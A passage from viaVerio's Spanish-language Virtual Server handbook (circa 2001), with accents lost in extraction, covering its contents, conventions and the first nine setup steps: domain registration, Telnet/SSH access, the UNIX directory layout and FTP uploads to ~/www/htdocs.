Vous êtes sur la page 1sur 196

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Manual para Servidores Virtuales Descubriendo el potencial de los Servidores Virtuales


viaVerio http://www.viaverio.com

COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

ndice
Convenciones del Documento ................................................................................................. 1 Cmo Comenzar en 13 Pasos.................................................................................................. 3 Paso 1: Lea las instrucciones de configuracin ....................................................4 Detalles de configuracin...............................................................................5 Paso 2: Familiarcese con los recursos disponibles para ayudarlo.......................6 Sitio web de viaVerio .....................................................................................6 Contctenos...................................................................................................7 Paso 3: Registre o transfiera su nombre de dominio ............................................9 Registro de un nombre de dominio nuevo .....................................................9 Transferencia de un nombre de dominio existente ........................................9 Paso 4: Telnet o SSH para la administracin remota del Servidor Virtual ..........10 Telnet...........................................................................................................10 SSH (Secure Shell)......................................................................................10 Paso 5: Conctese con su Servidor Virtual.........................................................11 Paso 6: Adquiera conocimientos de UNIX ..........................................................12 Paso 7: Baje una interfase de usuario grfica (Opcional) ...................................13 Paso 8: Elija FTP para las transferencias de archivos........................................14 Paso 9: Subir contenido al Servidor Virtual.........................................................15 Mtodos ms comunes................................................................................15 Mtodo alternativo .......................................................................................16 Paso 10: Genere Usuarios de correo electrnico y FTP.....................................17 Creacin de Usuarios con iManager............................................................17 Creacin de Usuarios con vadduser .........................................................17 Si usted usa Dominios Virtuales ..................................................................19 Paso 11: Configure su programa de correo electrnico POP o IMAP.................20 Paso 12: Analice las estadsticas de su sitio web ...............................................22 Anlisis de registros.....................................................................................22 Administracin de registros..........................................................................22 Paso 13: Adquiera conocimientos ms avanzados.............................................24 Informacin adicional ..........................................................................................25 Informacin acerca del Servidor Virtual .......................................................25 Captulo 1: Servidores Virtuales Introduccin ................................................................... 26 Servidores Virtuales vs. su propia solucin ........................................................27 viaVerio - Nuestro enfoque ..........................................................................28 Cmo funciona....................................................................................................29 Servidores virtuales vs. alojamiento virtual ..................................................29 Detalles tcnicos de los Servidores Virtuales ..............................................30 Servicios centrales..............................................................................................32 Servidor HTTP (Web) ..................................................................................32 Servidor FTP................................................................................................32 Servidores de correo de los Servidores Virtuales ........................................33 Administracin de los Servidores Virtuales (ms que un Webmaster)................35 ndice
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

ii

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin remota del Servidor ....................................................................36 Telnet & SSH ...............................................................................................36 FTP ..............................................................................................................38 Comparticin de Archivos bajo Windows.....................................................42 Herramientas de administracin GUI ...........................................................43 Estructura de directorios del Servidor Virtual ......................................................44 El sistema de archivos UNIX .......................................................................44 Directorios y archivos...................................................................................45 Propiedad y permisos de los archivos .........................................................47 UNIX: Comandos bsicos ...................................................................................49 Edicin de archivos en lnea ........................................................................50 Informacin adicional ..........................................................................................52 Informacin de soporte del Servidor Virtual .................................................52 Captulo 2: Administracin del Servidor Virtual con iManager ....................................... 53 iManager .............................................................................................................54 Cmo comenzar ..........................................................................................54 Ejecucin de iManager ................................................................................55 Administrador de Archivos ...........................................................................56 Administrador de Correo..............................................................................58 Configuracin - Herramientas y Ayudantes .................................................58 Preferencias.................................................................................................61 Salida...........................................................................................................62 Informacin adicional ..........................................................................................63 Instalacin de iManager...............................................................................63 Captulo 3: Servicio Virtual de Web .................................................................................... 64 Estructura de directorios .....................................................................................65 Publicacin de contenido ....................................................................................66 Publicacin con un editor HTTP Put ............................................................66 Microsoft FrontPage.....................................................................................66 Comprendiendo el alojamiento virtual .................................................................69 Limitaciones del alojamiento virtual .............................................................69 Cmo agregar y configurar dominios ..................................................................72 Cmo agregar alojamientos virtuales en httpd.conf ......................................73 Configuracin de opciones adicionales para alojamientos virtuales ............73 Informacin adicional ..........................................................................................74 Configuracin del Servidor Virtual para que d soporte a HTTP Put...........74 Conocimientos de alojamiento virtual ..........................................................74 Captulo 4: Servicio Virtual de Correo Electrnico............................................................ 75 Protocolos ...........................................................................................................76 Servidor SMTP ............................................................................................76 Servidor POP...............................................................................................76 Servidor IMAP..............................................................................................76 Software del servidor SMTP ...............................................................................77 Comandos y utilitarios para administrar el correo electrnico.............................79 Creacin de casillas de correo electrnico .........................................................80

ndice
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

iii

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cambio de clave de casilla de correo electrnico........................................82 Administracin de cuentas de correo electrnico ........................................82 Configuracin del software de correo electrnico ........................................83 Alias de cuentas de correo..................................................................................84 Creacin de listas de correo ........................................................................85 Creacin de mensajes de auto-respuesta ...................................................86 Creacin de Virtmaps .........................................................................................88 Uso del Comodn .........................................................................................88 Combinacin de virtmaps y alias .................................................................89 Diferencias entre virtmaps y alias .........................................................89 Resumen de virtmaps ..................................................................................90 Correos comerciales no solicitados ....................................................................91 Bloqueo de spam entrante...........................................................................91 Mantenimiento del archivo ~/etc/spammers ............................................91 Bloqueo de retransmisin POP(IMAP) antes que SMTP .............................92 Administracin de POP antes que SMTP ....................................................92 Mantenimiento del archivo de registro de correo electrnico ..............................95 Informacin adicional ..........................................................................................96 Informacin acerca del Servidor Virtual .......................................................96 Captulo 5: Servicio Virtual de FTP .................................................................................... 97 Nombre de su servicio virtual de FTP .................................................................98 FTP annimo y no annimo.........................................................................98 Su directorio de FTP annimo .....................................................................98 Creacin de directorios de acceso para clientes.................................................99 Creacin de banners de ingreso y mensajes de directorio ..........................99 Creacin de cuentas FTP no annimas..................................................... 100 Monitoreo de la actividad del FTP annimo............................................... 103 Informacin adicional ........................................................................................ 104 Informacin sobre el Servidor Virtual ......................................................... 104 Captulo 6: Configuracin Avanzada del Servidor Web.................................................. 105 Mantenimiento de los archivos de configuracin del servidor web ................... 106 Directivas Apache ...................................................................................... 106 Directivas de operacin del servidor .......................................................... 106 Directivas de recursos del servidor ............................................................ 112 Directivas de control de acceso ................................................................. 117 Archivo de tipos MIME (mime.types) ...................................................... 118 Utilizacin de mdulos Apache .........................................................................119 Listado de mdulos vinculados estticamente........................................... 119 Utilizacin de mdulos de carga dinmica................................................. 120 Cmo agregar los mdulos de carga dinmica.......................................... 121 Compilacin de mdulos DSO................................................................... 122 Comprendiendo el Formato de Registro Comn............................................... 123 Manejo del contenido web en varios idiomas.................................................... 125 Imagemaps ....................................................................................................... 127 Autenticacin de usuarios .................................................................................128

ndice
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

iv

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Server Side Includes (SSI)................................................................................ 129 Comandos Server Side Includes ............................................................... 129 Servidor seguro (SSL e ID de servidor seguro) ................................................130 Informacin adicional ........................................................................................ 134 Sitio web oficial de Apache ........................................................................134 Fuentes adicionales de Apache................................................................. 134 Captulo 7: CGI Scripts y Programacin del Servidor Virtual ....................................... 135 Common Gateway Interface (CGI).................................................................... 136 CGI: Cuestiones de seguridad................................................................... 136 Servidor Virtual vs. servidor fsico..................................................................... 139 Scripts en el Servidor Virtual............................................................................. 141 Uso de which............................................................................................ 141 Uso de whereis ....................................................................................... 141 Especificacin de rutas .............................................................................. 142 Definicin de permisos............................................................................... 142 Prueba de scripts en el entorno del Servidor Virtual..................................143 Resolucin de los errores ms comunes ................................................... 143 Scripts con Perl................................................................................................. 145 Duplicacin del entorno virtual................................................................... 145 Problemas ms comunes de los scripts Perl y sus soluciones .................. 146 Instalacin de mdulos Perl en el servidor virtual...................................... 148 Nociones de Java ............................................................................................. 149 Programacin con Java Virtual Machine.................................................... 149 Nociones de lenguajes compilados................................................................... 151 Nociones de lenguajes Shell............................................................................. 152 C-Shell ....................................................................................................... 152 Informacin Adicional........................................................................................ 158 Instalacin de mdulos Perl....................................................................... 158 Captulo 8: Mantenimiento del Servidor Virtual.............................................................. 159 Mantenimiento de los registros del servidor...................................................... 160 Mantenimiento del registro de correo electrnico y FTP............................ 160 Mantenimiento de los registros web .......................................................... 161 Formato de registro del servidor web ........................................................ 161 Anlisis de archivos de registro ................................................................. 164 Rotacin y limpieza de archivos de registro............................................... 165 Administracin con cron .................................................................................. 166 Administracin de la capacidad ........................................................................ 170 Ejemplo del comando Quota...................................................................... 170 Superacin de la Capacidad debido a los archivos de registro ................. 171 Administracin de la carga del servidor virtual.................................................. 172 Ejemplo de comando "Top" .......................................................................172 Memoria y procesos .................................................................................. 174 Administracin de los usuarios ......................................................................... 175 Copias de resguardo - Backups........................................................................ 178 Resolucin rpida de problemas....................................................................... 179

ndice
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Verificacin de capacidad .......................................................................... 179 Verificacin de archivos de registro ........................................................... 179 Verificacin de los procesos ......................................................................179 Informacin adicional ........................................................................................ 181 Anlisis de registros - analog................................................................... 181 Anlisis de registros - http-analyze...................................................... 181 Anlisis de registros - The Webalizer......................................................... 181 Anlisis de registros - WebTrends ............................................................. 181 Apndice A: Productos Complementarios......................................................................... 182 Apndice B: Creacin de Contenido para la Web ............................................................ 184 Creacin de pginas web.................................................................................. 185 Libros sobre HTML ........................................................................................... 186 Referencias en lnea y guas de estilo HTML.................................................... 187 Editores HTML y herramientas ......................................................................... 189

ndice
COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

vi

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Convenciones del Documento


En este Manual se utilizan las siguientes convenciones tipogrficas: Los comandos siempre aparecen en Courier en negrita cuando estn dentro de un prrafo o ttulo. Las teclas de computadora aparecen en Courier en negrita, por ejemplo:

<ctrl>-c <ctrl>-g
Las variables provistas por el usuario aparecen en itlica. Las sesiones de terminal aparecen en Courier. "su_empresa.com" significa el nombre de dominio de su Servidor Virtual. Muchos comandos se explican como si se estuvieran ingresando desde un prompt de comandos va telnet. El prompt sera: servidorvirtual {1}% comando. Para mantener la simplicidad, en el Manual el prompt se mostrar simplemente como:

% comando
Nota: Despus de escribir cualquier comando UNIX, debe presionar la tecla ENTER del teclado. Ntese, adems, que este es el formato en que figuran las notas en el Manual. Los links (como http://www.su_empresa.com y mailto:postmaster@su_empresa.com) estn en azul. Los links de las pginas de inicio no llevan barra final (ej. http://www.su_empresa.com). Los links con directorios s llevan barra final (ej. http://www.su_empresa.com/ventas/). Los derechos de copyright y las marcas comerciales se indican en la primera referencia que aparece en el cuerpo de un prrafo (no en los ttulos). El formato de los nmeros telefnicos es "801-555-1212" (en lugar de "(801) 555-1212", dado que actualmente casi siempre se requiere marcar el cdigo de rea, incluso para las llamadas locales). El nfasis se indica con subrayado. En las descripciones de programas de software (tales como SecureCRT), los nombres de los botones se describen en negrita (i.e. haga clic en Aceptar para continuar).

Adems, en este Manual se usan las siguientes convenciones gramaticales: Servidor Virtual apndice Apndice A Captulo 7 captulo, este captulo correo electrnico FTP Manual, este Manual, el Manual para el Servidor Virtual Internet, la Internet login / ingreso (no "log in")

Convenciones del Documento


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

nombre de usuario (login no "login-id" o "login ID"); nombre_login en argumentos logout / salir (no "log out") ID Identificacin Red, la Red en lnea Perl, Perl4, Perl5 (no "PERL") subhost subhosting, subalojamiento Telnet Panel de Control para Distribuidores o Reseller Backroom UNIX nombre de usuario Web, la Web sitio web (no "sitioweb") World Wide Web

Convenciones del Documento


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo Comenzar en 13 Pasos


Este captulo contiene los 13 pasos fundamentales que usted debe conocer para crear una presencia funcional en Internet con su Servidor Virtual. Nota: Los usuarios expertos tal vez no necesiten ms que estos 13 pasos para comenzar a operar su Servidor Virtual. Si usted no es un experto o desea informacin ms detallada, encontrar todas las explicaciones que necesita en los captulos restantes del Manual. Este captulo da por supuesto lo siguiente: Usted ya complet la solicitud de cuenta de servidor y present los acuerdos requeridos junto con el pago por anticipado. Usted recibi las instrucciones de configuracin por correo electrnico con su nombre de usuario y dems informacin importante.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 1: Lea las instrucciones de configuracin


Las instrucciones de configuracin contienen informacin importante que le ser enviada por correo electrnico y se recomienda conservarla para referencia futura. All se indica: Fecha de pedido y fecha de activacin del Servidor Virtual Caractersticas especficas del Servidor Virtual Informacin de identificacin que necesitar para administrar su Servidor Virtual, incluso: o o o o o o o ID de la Cuenta Nombre de Usuario Nombre del Servidor Direccin IP Direccin de Correo Electrnico Nombre de Dominio Nombre de Dominio Temporario (probablemente, el nombre de dominio temporario est disponible por no ms de un da. Este nombre se configura en nuestros servidores para que usted lo use hasta que est completo el registro de su nombre de dominio)

Contactos en los sectores de Pedidos y Soporte que pueden asesorarlo en la fase inicial de la operacin del Servidor Virtual: orders@viaverio.com http://www.viaverio.com/support

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Detalles de configuracin
Informacin Fecha de pedido Fecha de activacin Descripcin Es la fecha en que usted hizo el pedido de su Servidor Virtual. Es la fecha en que se activ el Servidor Virtual. El resumen de facturacin mensual muestra la fecha de activacin usada para calcular el cargo prorrateado del servicio del primer mes. Cada Servidor Virtual tiene asociado un ID (identificador) de cuenta exclusivo, el cual no debe confundirse con el ID del Distribuidor. Cada ID de Distribuidor puede tener varias cuentas (y por lo tanto, varios ID de varias cuenta). Utilice su nombre de usuario para acceder a su servidor virtual Va Telnet, SSH o FTP. Ms adelante en esta seccin se explica cmo usar estos servicios. Es el nombre (alfanumrico) de la mquina fsica donde est alojado su Servidor Virtual. Cuando usted accede al informe del estado de los servidores, sus cuentas se agrupan segn el servidor fsico en el que residen. Es el nombre de dominio que usted eligi para usar como nombre de dominio primario, que seala la direccin IP nica de su Servidor Virtual. Es el nombre de dominio temporario que usted puede usar hasta que se registre su nombre de dominio. Es el nmero exclusivo de su Servidor Virtual, que define una direccin de Internet en forma exclusiva. Informacin precisa sobre el estado del registro de su dominio. Si desea ms informacin, consulte el 3er Paso.

ID de la cuenta

Nombre de usuario

Nombre del servidor

Nombre de dominio

Nombre de dominio temporario Direccin IP Informacin del registro de su dominio

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 2: Familiarcese con los recursos disponibles para ayudarlo


Sitio web de viaVerio
En el sitio web de viaVerio, usted encontrar informacin til acerca de la compaa y sus productos, as como instrucciones para hacer pedidos de nuevas cuentas y agregar adicionales para las cuentas existentes. Polticas sobre soporte (http://www.viaverio.com/services/policies.html) Polticas sobre facturacin (http://www.viaverio.com/service/billing/) Polticas sobre el servidor (http://www.viaverio.com/products/policies.html) Polticas para distribuidor (http://viaverio.com/reseller/policies.cfm)

Pgina de Inicio (http://www.viaverio.com/)


Nuestra pgina de inicio explica nuestro negocio: quines somos, qu ofrecemos y qu podemos hacer por usted. A continuacin se resumen los links que aparecen en la parte superior de la pgina. Productos (http://viaverio.com/reseller/) En la pgina Productos, usted encontrar las descripciones de los distintos paquetes de servidor, informacin sobre la transferencia de los dominios, soluciones de comercio electrnico, complementos para el servidor, polticas, y acuerdos de distribuidor y facturacin. Pedidos (http://viaverio.com/services/order.cfm) En la pgina Pedidos, usted podr pedir cuentas nuevas y productos para las cuentas existentes fcilmente, utilizando los ayudantes (wizards), programas basados en la web que procesan los pedidos en forma rpida y eficiente. Distribuidores (http://viaverio.com/services/reseller.cfm) Nuestra pgina Distribuidores describe nuestro programa de distribuidores, que ofrece a los profesionales de Internet la oportunidad de formar alianzas rentables. Desde esta pgina, tambin es posible acceder a la siguente informacin: Productos para distribuidores (http://viaverio.com/reseller/) Descuentos a distribuidores (http://viaverio.com/reseller/discounts.cfm) Recursos para distribuidores (http://viaverio.com/reseller/resources.cfm) Polticas para distribuidores (http://viaverio.com/reseller/policies.cfm)

Nuestro Panel de Control para Distribuidores (Reseller Backroom) (https://reseller.securesites.com/reseller/) incluye un conjunto de herramientas slo para distribuidores, que incluyen: Interfase de pedidos: Informacin y ayudantes (para pedir servidores y agregar adicionales) Informacin de la cuenta, facturacin e informacin de clientes (para verificar las cuentas de los clientes y revisar la facturacin) Informacin sobre los DNS (para agregar un nombre de dominio, ver o modificar nombres de dominio) Informes del estado de los servidores e Internet (para confirmar que su Servidor Virtual est en lnea y para ver el estado Internet)

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Como acceder al Panel de Control para Distribuidores 1. Acceda al Panel de Control usando la siguiente URL: https://reseller.securesites.com/reseller/ 2. Ingrese su nombre de usuario y clave de distribuidor. Si olvid su usuario y/o clave, consulte el correo con la configuracin o comunquese con Atencin al Cliente.

Soporte (http://viaverio.com/support/) Ofrecemos varios recursos de soporte tcnico tanto para administradores principiantes como para usuarios avanzados de servidores virtuales. Seleccione entre los siguientes recursos que lo ayudarn a encontrar la documentacin de soporte que busca: Ayuda (http://viaverio.com/services/contactus_form.cfm) Solucin Destacada (http://viaverio.com/products/addons.cfm) Manual para Servidores Virtuales (http://viaverio.com/support/handbook/) Si necesita ayuda adicional, no deje de contactarnos (http://viaverio.com/services/contactus_form.cfm). Nuestro personal de soporte responder sus consultas por correo electrnico.

Bsqueda (http://viaverio.com/services/search.cfm) Desde nuestra pgina de bsqueda, se puede acceder a informacin til ingresando una o dos palabras clave sobre un tema relacionado con los Servidores Virtuales.

Contctenos
Ofrecemos atencin al cliente las 24 horas los 7 das de la semana. contactarse por telfono o por correo electrnico. Telfono: 888-224-9346 Correo electrnico o o o o Servicio (service@viaverio.com ) Facturacin (billing@viaverio.com) Pedidos (orders@viaverio.com) Soporte (support@viaverio.com) Puede

Atencin al Cliente
Nuestro grupo de Atencin al Cliente brinda asesoramiento a los usuarios en las siguientes reas: Procesamiento de nuevos pedidos de Servidor Virtual Actualizacin de un Servidor Virtual mediante la incorporacin de nuevos productos, por ejemplo, espacio en disco. Registro de un nombre de dominio Facturacin

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Soporte Tcnico
El Soporte Tcnico brinda asesoramiento a los distribuidores en las siguientes reas: Aislamiento de problemas especficos que se presentaron durante la utilizacin de nuestros servidores Resolucin rpida de problemas especficos relacionados con la instalacin y configuracin en el entorno del servidor

El Soporte Tcnico no incluye: Desarrollo web Asistencia tcnica a los clientes de los distribuidores. Verificacin del CGI, que es especfico de la programacin (incluso la depuracin o debug del programa) Soporte tcnico para productos de terceros no documentados en la seccin de ayuda agregada de nuestro sitio web

La direccin de correo electrnico de Soporte Tcnico es support@viaverio.com.

Sugerencias
Toda sugerencia relacionada con actualizaciones de productos, nuevos productos, nuevos dispositivos o nuevos servicios ser bienvenida. Para que sus sugerencias puedan ser ledas y respondidas por nuestro personal, envelas por correo electrnico a suggest@viaverio.com.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 3: Registre o transfiera su nombre de dominio


Si piensa tener un nombre de dominio asociado a su Servidor Virtual, tiene dos posibilidades: registrar un nombre de dominio nuevo o transferir un nombre de dominio existente.

Registro de un nombre de dominio nuevo


Si usted agreg un nombre de dominio nuevo y adems pidi a viaVerio que lo registre y acord utilizar nuestros servidores de nombre para resolver este dominio, entonces slo tiene que esperar que el nombre de dominio se resuelva. (Esta es la opcin predeterminada.) Si usted agreg un nombre de dominio nuevo y adems pidi a viaVerio que lo registre pero no seleccion nuestros servidores de nombre, entonces usted debe encargarse de verificar que su dominio se agregue correctamente a esos servidores de nombre. Si usted agreg un nombre de dominio nuevo pero pidi que viaVerio no lo registre, entonces tendr que usar un Registro Acreditado (http://www.icann.org/registrars/accredited-list.html) y dar la siguiente informacin acerca de nuestros servidores de nombre:

Nombre del Servidor Primario: Direccin IP del Servidor 1: Nombre del Servidor Secundario: Direccin IP del Servidor 2:

NS1.SECURE.NET 192.41.1.10 NS2.SECURE.NET 161.58.9.10

Transferencia de un nombre de dominio existente


Si usted ya registr un nombre de dominio y simplemente necesita transferirlo a su Servidor Virtual, siga las instrucciones que figuran en: Transferencias de dominio

Nuestra pgina de nombres de dominio incluye informacin adicional acerca de los nombres de dominio: Dar de alta un nombre de dominio nuevo. El ayudante para pedidos procesa rpidamente el nombre de dominio ingresado envindolo al registro para su inscripcin como nombre de dominio nuevo.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 4: Telnet o SSH para la administracin remota del Servidor Virtual


Telnet es un servicio que le permite controlar su Servidor Virtual en forma remota y acceder a otras computadoras fuera del rea. Nota: Telnet no es una conexin segura y por ese motivo viaVerio recomienda SSH, que transmite los datos por un canal encriptado. Todos los comandos UNIX que se usan con Telnet tambin pueden usarse con SSH. Los comandos UNIX se explican ms adelante en este manual. Si desea informacin adicional, consulte: Utilizacin de Telnet y SSH (http://viaverio.com/support/virtual/admin/telnet/).

Telnet
Programas Telnet se encuentran disponibles en Windows (c:\windows\telnet.exe) y Windows NT (c:\winnt\system32\telnet.exe). CRT (http://www.vandyke.com) - flexible y amigable NCSA Telnet (http://www.ncsa.uiuc.edu/Indices/Software/)- para Macintosh OS BetterTelnet (http://www.cstone.net/~rbraun/mac/telnet/) - para Macintosh OS (el nombre lo dice todo) 95/98/Me

SSH (Secure Shell)


FreeSSH.org (http://www.freessh.org) - lista de clientes SSH gratuitos SecureCRT (http://www.vandyke.com) - con soporte para Windows, Telnet, serial y otros protocolos F-Secure SSH (http://www.datafellows.com) Nifty Telnet SSH (http://andrew2.andrew.cmu.edu/dist/niftytelnet.htmll) - para Macintosh OS

Nota: Asegrese de elegir un cliente SSH que d soporte al protocolo ssh1 para que sea compatible con sus Servidores Virtuales.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

10

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 5: Conctese con su Servidor Virtual


1. 2. 3. Inicie la sesin cliqueando en Inicio. Seleccione Ejecutar (o haga doble clic en el icono de su cliente Telnet). Ingrese en Telnet, ya sea cliqueando en el botn Conectar o ingresando el nombre de su servidor remoto, que es su nombre de dominio, su direccin IP o el nombre de dominio temporario. Escriba su nombre de usuario y la clave. Presione Enter y all ver la lnea de comandos de UNIX. Si no se estableci la conexin, aparece un mensaje de error.

4. 5. 6.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

11

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 6: Adquiera conocimientos de UNIX


El sistema de archivos UNIX tiene una estructura jerrquica. El tilde (~) es un alias para el directorio raz, al cual slo puede acceder el administrador del Servidor Virtual. El directorio raz est indicado por una barra inversa (/). Bajo el directorio raz aparecen los siguientes grandes directorios: Directorio ~/www Descripcin Link con ~/usr/local/etc/httpd Contiene la configuracin del servidor web y los archivos de registro. Contiene varios subdirectorios importantes, incluyendo los directorios raz de los usuarios. Contiene los archivos de programas del servidor Directorio FTP annimo Contiene el dispositivo de salida nulo Contiene los archivos de configuracin del servidor y administracin del sistema (alias, sendmail, sendmail.cf, etc.) Contiene archivos Telnet, de correo electrnico y de registro FTP

~/usr ~/bin ~/ftp ~/dev ~/etc ~/var

Cada uno de esos grandes directorios tiene varios subdirectorios, pero inicialmente es importante conocer los siguientes: Directorio ~/ (directorio raz) ~/www ~/www/cgi-bin ~/www/logs ~/www/vhosts ~/www/htdocs Descripcin Directorio principal de todos los dems Link simblico con ~/usr/local/etc/httpd Directorio CGI y Scripts Contiene los archivos de registro de servidor web Utilizado para el alojamiento virtual de varios dominios Todas las pginas web deben colocarse aqu

El Captulo 1 de este Manual presenta una visin general de la estructura de los directorios. La mayora de los comandos UNIX son los mismos para todas las variedades (ej. Solaris, HP-UX, FreeBSD). Slo necesitar usar algunos comandos UNIX. Encontrar informacin til en: El Proyecto FreeBSD (http://www.freebsd.org) Maneje el mundo con 13 comandos UNIX (http://viaverio.com/support/virtual/admin/unix/commands.cfm)

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

12

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 7: Baje una interfase de usuario grfica (Opcional)


Si prefiere usar una interfase grfica de usuario en lugar de ejecutar los comandos UNIX, necesitar bajar iManager, una aplicacin amigable que desarrollamos para que usted pueda dar altas y bajas de usuarios, cambiar permisos, cargar contenido web y realizar muchas otras tareas propias del administrador de un servidor. iManager (http://viaverio.com/support/virtual/admin/imanager/1.0/): iManager y sus ayudantes (Ver tambin el Captulo 2) Instalacin de iManager: explica cmo instalar iManager (http://viaverio.com/support/virtual/admin/imanager/install.cfm) Configuracin de iManager para Alojamiento (http://viaverio.com/support/virtual/admin/imanager/subhost.cfm) Personalizacin de iManager (http://viaverio.com/support/virtual/admin/imanager/custom.cfm) Virtuales describe

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

13

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 8: Elija FTP para las transferencias de archivos


Una de las tareas ms bsicas que deber realizar como administrador es subir los archivos al Servidor Virtual. En la mayora de los casos, el contenido web se sube usando el protocolo File Transfer Protocol (FTP), de modo que FTP debe estar habilitado en su computadora local. Hay muchos programas FTP gratuitos disponibles en la Internet. Busque Programas FTP en su motor de bsqueda favorito y encontrar con una enorme cantidad de clientes FTP disponibles. Pero no transfiera los archivos todava. No puede cargar archivos sin antes crear cuentas de usuario y configurar los directorios (Ver Paso 10). Sin embargo, en este punto se recomienda tener un panorama de lo que implica subir el contenido al Servidor Virtual (http://viaverio.com/support/virtual/admin/ftp/client/). Algunos clientes FTP son: WS_FTP (http://www.ipswitch.com/Products/WS_FTP/) - para Windows Fetch (http://www.dartmouth.edu/pages/softdev/fetch.html) - para Macintosh Consola La mayora de los sistemas operativos (UNIX, NT, Windows 95/98) vienen con un cliente FTP incorporado al que se accede desde una la ventana de comando del DOS. Muchos no usan el este programa FTP en parte porque no saben que existe y en parte porque estos programas de FTP Son ms complejos debido a que son comandos escritos. Pero una vez que uno aprende a usar este tipo de programas FTP, probablemente nunca vuelva a usar un cliente FTP grfico. (Por ms que suene extrao, as es para la mayora de los usuarios). Si desea ms informacin sobre cmo usar el cliente Consola, consulte: o o Utilizacin de FTP va comando (http://viaverio.com/support/virtual/admin/ftp/client/ ) Captulo 2 de este Manual

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

14

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Paso 9: Subir contenido al Servidor Virtual


Todo el contenido web debe cargarse en el directorio /www/htdocs/. Recuerde, /www/ es slo un atajo (link simblico) a ~/usr/local/etc/httpd/. Eso significa que ~/www/htdocs/ es lo mismo que ~/usr/local/etc/httpd/htdocs/. Puede entrar en el directorio htdocs por cualquiera de los dos caminos. Desde el prompt de SSH o Telnet, escriba:

% cd ~/www/htdocs/
o:

% cd ~/usr/local/etc/httpd/htdocs/
Puede organizar sus archivos web en distintos directorios creados bajo el directorio /htdocs/ utilizando el comando mkdir de UNIX. Por ejemplo, si desea almacenar toda la informacin de producto en su sitio web bajo un directorio, debe ir al directorio htdocs y crear un directorio llamado productos.

% cd ~/www/htdocs/ % mkdir productos


En casos de subalojamiento (Ej: Si usted usa mltiples usuarios y/o mltiples sitios web o dominios), es mejor crear las cuentas de usuario antes de cargar el contenido. Estas cuentas de usuario (que en realidad no son ms que directorios de usuario) deben crearse bajo el directorio ~/www/vhost/. En el Paso 10 se encuentra informacin adicional al respecto.

Mtodos ms comunes
Ejemplo de FTP desde la lnea de comando DOS 1. 2. 3. Desde la barra de tareas de Windows, seleccione Inicio y luego Ejecutar. All ingrese ftp. En el prompt, ingrese su nombre de open y el nombre de su servidor virtual y presione Enter, Ingrese Usuario y clave. Escriba los siguientes comandos (y a continuacin presione Enter):

cd /www/htdocs ascii lcd c:\upload put index.html bin put logo.gif quit
Los nombres de archivo seleccionados siguen al comando put. El Captulo 2 contiene informacin adicional al respecto.

Cmo Comenzar en 13 Pasos


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

15

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Ejemplo con un programa de FTP 1. 2. Abra el programa FTP. Escriba la siguiente informacin: o o o 3. 4. 5. ID de servidor Nombre de usuario y clave Binario o automtico

Haga doble clic en www en la ventana derecha (aparece usr/local/etc/httpd). Haga doble clic en htdocs. Agarre y suelte los archivos entre la computadora local y el Servidor Virtual.

